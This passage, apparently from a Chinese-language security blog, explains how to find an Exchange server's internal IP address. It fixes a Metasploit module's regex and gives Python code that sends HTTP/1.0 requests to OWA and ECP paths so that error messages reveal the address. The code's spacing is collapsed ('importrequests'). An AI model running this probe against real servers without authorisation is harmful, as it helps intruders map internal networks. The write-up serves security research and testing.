在提取IP時，使用正則表達式(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})，這裡存在bug：只能篩選出格式為'192.168.*.*'的內網IP 為了修復這個bug，可以將正則表達式修改為([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}) 注： 修改插件後需要執行命令reload_all來重新加載msf插件 修復上面的bug後，我在測試Exchange 2013、2016和2019時仍然無法獲得準確的內網IP 0x03 更為通用的方法這裡給出一種基於owa_iis_internal_ip插件的方法，使用Python實現，適用範圍更廣 思路如下： 利用Python設置HTTP協議為1.0並訪問特定URL，在報錯結果中暴露出Exchange服務器的內網IP 需要細節如下： (1)Python設置HTTP協議為1.0 Python2： importrequests importhttplib httplib.HTTPConnection._http_vsn=10 httplib.HTTPConnection._http_vsn_str='HTTP/1.0'Python3： importrequests fromhttpimportclient client.HTTPConnection._http_vsn=10 client.HTTPConnection._http_vsn_str='HTTP/1.0'(2)設置訪問URL owa_iis_internal_ip插件中提到的URL： urls=['/Microsoft-Server-ActiveSync/default.eas', '/Microsoft-Server-ActiveSync', '/Autodiscover/Autodiscover.xml', '/Autodiscover', '/Exchange', '/Rpc', '/EWS/Exchange.asmx', '/EWS/Services.wsdl', '/EWS', '/ecp', '/OAB', '/OWA', '/aspnet_client', '/PowerShell']經過多個環境的測試，更為精確的URL如下： urls=['/OWA', '/Autodiscover', '/Exchange', '/ecp', '/aspnet_client'](3)測試代碼 #python3 importrequests importurllib3 urllib3.disable_warnings() fromhttpimportclient client.HTTPConnection._http_vsn=10 client.HTTPConnection._http_vsn_str='HTTP/1.0' try: url='https://mail.test.com/OWA' response=requests.get(url,verify=False) print(response.status_code) print(response.text) print(response.headers) exceptExceptionase: print(e)回顯結果： HTTPSConnectionPool(host='192.168.1.1', port=443): Max retries exceeded with url:/owa/auth/logon.aspx?url=https://192.168.1.1/OWA/reason=0 (Caused by NewConnectionError(' 從報錯信息中，我們可以看到Exchange服務器的IP，這裡只需要加一個正則表達式host='(.*?)',即可提取出來IP 0x04 開源代碼完整的實現代碼已上傳至github，地址如下： https://github.com/3gstudent/Homework-of-Python/blob/master/Exchange_GetInternalIP.py 代碼支持5種方式探測內網IP 目前測試結果顯示，該腳本支持Exchange 2010、2013、2016和2019，能夠穩定獲得內網IP 0x05 小結本文分析了msf的auxiliary/scanner/http/owa_iis_internal_ip插件，對於獲得Exchange服務器的內網IP，給出了一個更為通用的方法，開源代碼，記錄細節。